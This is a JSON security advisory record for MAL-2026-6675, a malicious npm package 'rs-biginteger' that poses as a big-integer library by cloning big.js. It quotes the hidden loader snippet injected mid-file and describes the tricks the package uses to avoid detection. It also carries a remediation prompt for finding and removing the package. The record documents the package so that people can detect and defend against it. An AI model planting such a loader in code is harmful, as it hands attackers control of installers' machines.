{"answers":{"affected":"1 open source package ship an affected version, including rs-biginteger.","exploited":"There is no known exploitation of MAL-2026-6675 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6675 is a malicious package in rs-biginteger, published on 30 Jun 2026."},"fix_prompt":"MAL-2026-6675 is a malicious package: rs-biginteger (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6675/ (Markdown: https://insights.sbomify.com/MAL-2026-6675/index.md)","id":"MAL-2026-6675","markdown":"https://insights.sbomify.com/MAL-2026-6675/index.md","name":"MAL-2026-6675","record":{"aliases":["GHSA-xm5w-w96q-42f3"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package presents itself as a big-integer arithmetic library and ships the verbatim big.js v7.0.1 source plus its README. Injected between the `P.minus` and `P.mod` method definitions in both big.js and big.mjs is a loader: `try { const doc = require(\"ts-lint-builders\"); doc.from_str().then(...) } catch (error) {}`. On every `require('rs-biginteger')` / ESM import, the module top-level resolves `ts-lint-builders` and invokes its `from_str()` function, executing third-party code chosen by this author at load time. The package's declared dependency is `ts-lint-builders-v2.1@2.1.0` — a name mismatch with the require target, indicating the attacker controls the resolution path into the installer's dependency graph. The empty try/catch silently swallows any failure, concealing the behavior from casual inspection. The loader's placement mid-file inside cloned legitimate source, the cover-story package name impersonating big.js/big-integer, the duplicated payload in both CommonJS and ESM entry points, and the silent error swallowing are deliberate evasion patterns. Installers expecting a pure-math library instead load and execute arbitrary attacker-chosen code on every import.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in rs-biginteger (npm)","id":"MAL-2026-6675","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"rs-biginteger","purl":"pkg:npm/rs-biginteger","source":"MAL-2026-6675"}],"products":null,"published":"2026-06-30","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6675/"}